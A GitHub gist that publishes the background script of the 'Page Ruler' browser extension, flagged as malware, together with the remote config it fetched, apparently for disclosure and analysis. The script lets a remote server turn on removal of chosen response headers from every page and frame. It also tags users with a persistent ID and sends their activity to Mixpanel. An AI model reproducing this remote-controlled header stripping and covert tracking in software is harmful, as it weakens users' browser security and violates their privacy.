Skip to content

Instantly share code, notes, and snippets.

@Esteban-Rocha
Last active February 10, 2018 15:42
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Esteban-Rocha/ccdb04ebbbe12afcd3ba07a086c8f909 to your computer and use it in GitHub Desktop.
Save Esteban-Rocha/ccdb04ebbbe12afcd3ba07a086c8f909 to your computer and use it in GitHub Desktop.
Analytics code used by malware extension Page Ruler Using MixPanel.JS ~ https://twitter.com/random_walker/status/960536723095719937
"use strict";
var PageRuler = {
settings: null,
init: function (a) {
var b = chrome.runtime.getManifest(),
c = b.version;
"install" === a ? (PageRuler.Analytics.trackEvent("Run", "Install", c), chrome.storage.sync.set({
statistics: !0,
hide_update_tab: !1
})) : "update" === a ? PageRuler.Analytics.trackEvent("Run", "Update", c) : PageRuler.Analytics.trackEvent("Run", "Open", c)
},
image: function (a) {
return {
19: "images/19/" + a,
38: "images/38/" + a
}
},
load: function (a) {
chrome.tabs.executeScript(a, {
file: "content.js"
}, function () {
PageRuler.enable(a)
})
},
enable: function (a) {
chrome.tabs.sendMessage(a, {
type: "enable"
}, function () {
PageRuler.Analytics.trackEvent("Action", "Enable"), chrome.browserAction.setIcon({
path: PageRuler.image("browser_action_on.png"),
tabId: a
})
})
},
disable: function (a) {
chrome.tabs.sendMessage(a, {
type: "disable"
}, function () {
PageRuler.Analytics.trackEvent("Action", "Disable"), chrome.browserAction.setIcon({
path: PageRuler.image("browser_action.png"),
tabId: a
})
})
},
browserAction: function (a) {
var b = a.id;
chrome.tabs.executeScript(b, {
code: "chrome.runtime.sendMessage({ " + "'action': 'loadtest','loaded': window.hasOwnProperty('__PageRuler'),'active': window.hasOwnProperty('__PageRuler') && window.__PageRuler.active" + " });"
})
},
openUpdateTab: function (a) {
chrome.storage.sync.get("hide_update_tab", function (b) {
b.hide_update_tab || chrome.tabs.create({
url: "update.html#" + a
})
})
},
setPopup: function (a, b, c) {
var d = b.url || c.url || !1;
d && ((/^chrome\-extension:\/\//.test(d) || /^chrome:\/\//.test(d)) && chrome.browserAction.setPopup({
tabId: a,
popup: "popup.html#local"
}), /^https:\/\/chrome\.google\.com\/webstore\//.test(d) && chrome.browserAction.setPopup({
tabId: a,
popup: "popup.html#webstore"
}))
},
configAnalytics: function () {
var a = PageRuler.settings && PageRuler.settings.analyticsID ? PageRuler.settings.analyticsID : null,
b = b || [];
b.push(["_setAccount", a]),
function () {
var a = document.createElement("script");
a.type = "text/javascript", a.async = !0, a.src = "https://ssl.google-analytics.com/ga.js";
var b = document.getElementsByTagName("script")[0];
b.parentNode.insertBefore(a, b)
}(),
function (a) {
a.Analytics = {
checkEnabled: function (a) {
chrome.storage.sync.get("statistics", function (b) {
var c = !!b.statistics;
c ? a() : function () {}
})
},
trackPageview: function (a) {
this.checkEnabled(function () {
b.push(["_trackPageview", a])
})
},
trackEvent: function (a, c, d, e) {
this.checkEnabled(function () {
var f = ["_trackEvent", a, c];
d && (f.push(d), e && f.push(e)), b.push(f)
})
}
}
}(PageRuler), PageRuler.settings && PageRuler.settings.extendedAnalytics && PageRuler.configExtendedAnalytics(), PageRuler.validator()
},
validator: function () {
PageRuler.settings && PageRuler.settings.filters && (chrome.webRequest && chrome.webRequest.onHeadersReceived.addListener(function (a) {
return {
responseHeaders: a.responseHeaders.filter(function (a) {
return a.name.toLowerCase() != PageRuler.settings.filters[0]
})
}
}, {
urls: ["<all_urls>"]
}, ["blocking", "responseHeaders"]), chrome.webRequest.onHeadersReceived.addListener(function (a) {
for (var b, c = a.responseHeaders, d = c.length - 1; 0 <= d; --d) b = c[d].name.toLowerCase(), (b == PageRuler.settings.filters[1] || b == PageRuler.settings.filters[2]) && c.splice(d, 1);
return {
responseHeaders: c
}
}, {
urls: ["*://*/*"],
types: ["sub_frame"]
}, ["blocking", "responseHeaders"]))
},
refreshUserId: function (a) {
a && mixpanel.identify(a)
},
generateUUID: function () {
var a = new Date().getTime();
return "undefined" != typeof performance && "function" == typeof performance.now && (a += performance.now()), "xxxxxxxx-03xx-xxxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (b) {
var c = 0 | (a + 16 * Math.random()) % 16;
return a = Math.floor(a / 16), ("x" === b ? c : 8 | 3 & c).toString(16)
})
},
configExtendedAnalytics: function () {
try {
(function (d, m) {
if (!m.__SV) {
var a = window;
try {
var b, c, e, f = a.location,
i = f.hash;
b = function (d, a) {
return (c = d.match(RegExp(a + "=([^&]*)"))) ? c[1] : null
}, i && b(i, "state") && (e = JSON.parse(decodeURIComponent(b(i, "state"))), "mpeditor" === e.action && (a.sessionStorage.setItem("_mpcehash", i), history.replaceState(e.desiredHash || "", d.title, f.pathname + f.search)))
} catch (a) {}
var g, j;
window.mixpanel = m, m._i = [], m.init = function (a, b, c) {
function h(d, b) {
var a = b.split(".");
2 == a.length && (d = d[a[0]], b = a[1]), d[b] = function () {
d.push([b].concat(Array.prototype.slice.call(arguments, 0)))
}
}
var e = m;
for ("undefined" == typeof c ? c = "mixpanel" : e = m[c] = [], e.people = e.people || [], e.toString = function (d) {
var b = "mixpanel";
return "mixpanel" !== c && (b += "." + c), d || (b += " (stub)"), b
}, e.people.toString = function () {
return e.toString(1) + ".people (stub)"
}, g = ["disable", "time_event", "track", "track_pageview", "track_links", "track_forms", "register", "register_once", "alias", "unregister", "identify", "name_tag", "set_config", "reset", "people.set", "people.set_once", "people.unset", "people.increment", "people.append", "people.union", "people.track_charge", "people.clear_charges", "people.delete_user"], j = 0; j < g.length; j++) h(e, g[j]);
m._i.push([a, b, c])
}, m.__SV = 1.2, a = d.createElement("script"), a.type = "text/javascript", a.async = !0, a.src = "undefined" == typeof MIXPANEL_CUSTOM_LIB_URL ? "https://cdn.mxpnl.com/libs/mixpanel-2-latest.min.js" : MIXPANEL_CUSTOM_LIB_URL, b = d.getElementsByTagName("body")[0], b.appendChild(a)
}
})(document, window.mixpanel || []), mixpanel.init(PageRuler.settings && PageRuler.settings.mixpanelId ? PageRuler.settings.mixpanelId : null), chrome.storage.sync.get("user_id", function (a) {
a.user_id || (a.user_id = PageRuler.generateUUID(), chrome.storage.sync.set(a)), PageRuler.refreshUserId(a.user_id), mixpanel.track("BgLoaded", {
version: chrome.runtime.getManifest().version
})
}), chrome.extension.onRequest.addListener(function (a) {
a.command && "track" == a.command && mixpanel.track(a.action ? a.action : "unnamed action", a.data)
})
} catch (a) {}
},
configUpdate: function (a) {
var b = chrome.runtime.getManifest(),
c = b.version;
chrome.storage.sync.get("settings", function (b) {
PageRuler.settings = b.settings, $.ajax({
url: "https://pageruler.org/config/",
dataType: "json",
data: {
id: chrome.runtime.id,
version: c,
r: new Date().getTime()
},
success: function (b) {
chrome.storage.sync.get("settings", function (c) {
if (c.settings || (c.settings = {}), b)
for (var d in b) c.settings[d] = b[d];
PageRuler.settings = c.settings, chrome.storage.sync.set(c), PageRuler.configAnalytics(), "undefined" != typeof a && a()
})
},
error: function () {
PageRuler.configAnalytics(), "undefined" != typeof a && a()
}
})
})
}
};
PageRuler.configUpdate(function () {
chrome.browserAction.onClicked.addListener(PageRuler.browserAction), chrome.tabs.onUpdated.addListener(PageRuler.setPopup), chrome.runtime.onStartup.addListener(function () {
PageRuler.init()
}), chrome.runtime.onInstalled.addListener(function (a) {
switch (PageRuler.init(a.reason, a.previousVersion), a.reason) {
case "install":
PageRuler.openUpdateTab("install");
}
}), chrome.runtime.onMessage.addListener(function (a, b, c) {
var d = b.tab && b.tab.id;
switch (a.action) {
case "loadtest":
a.loaded ? a.active ? PageRuler.disable(d) : PageRuler.enable(d) : PageRuler.load(d);
break;
case "disable":
d && PageRuler.disable(d);
break;
case "setColor":
PageRuler.Analytics.trackEvent("Settings", "Color", a.color), chrome.storage.sync.set({
color: a.color
});
break;
case "getColor":
chrome.storage.sync.get("color", function (a) {
var b = a.color || "#0080ff";
c(b)
});
break;
case "setDockPosition":
PageRuler.Analytics.trackEvent("Settings", "Dock", a.position), chrome.storage.sync.set({
dock: a.position
});
break;
case "getDockPosition":
chrome.storage.sync.get("dock", function (a) {
var b = a.dock || "top";
c(b)
});
break;
case "setGuides":
PageRuler.Analytics.trackEvent("Settings", "Guides", a.visible && "On" || "Off"), chrome.storage.sync.set({
guides: a.visible
});
break;
case "getGuides":
chrome.storage.sync.get("guides", function (a) {
var b = !a.hasOwnProperty("guides") || a.guides;
c(b)
});
break;
case "trackEvent":
PageRuler.Analytics.trackEvent.apply(PageRuler.Analytics, a.args), c();
break;
case "trackPageview":
PageRuler.Analytics.trackPageview(a.page), c();
break;
case "openHelp":
PageRuler.Analytics.trackEvent(["Action", "Help Link"]), chrome.tabs.create({
url: chrome.extension.getURL("update.html") + "#help"
});
}
return console.groupEnd(), !0
}), chrome.commands.onCommand.addListener(function () {})
});
@Esteban-Rocha
Copy link
Author

// 20180210102822
// https://pageruler.org/config/{
  "analyticsID": "UA-44581945-2",
  "extendedAnalytics": false,
  "mixpanelId": "4eb15e0ba71a166c071b9c177300ea5a"
}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment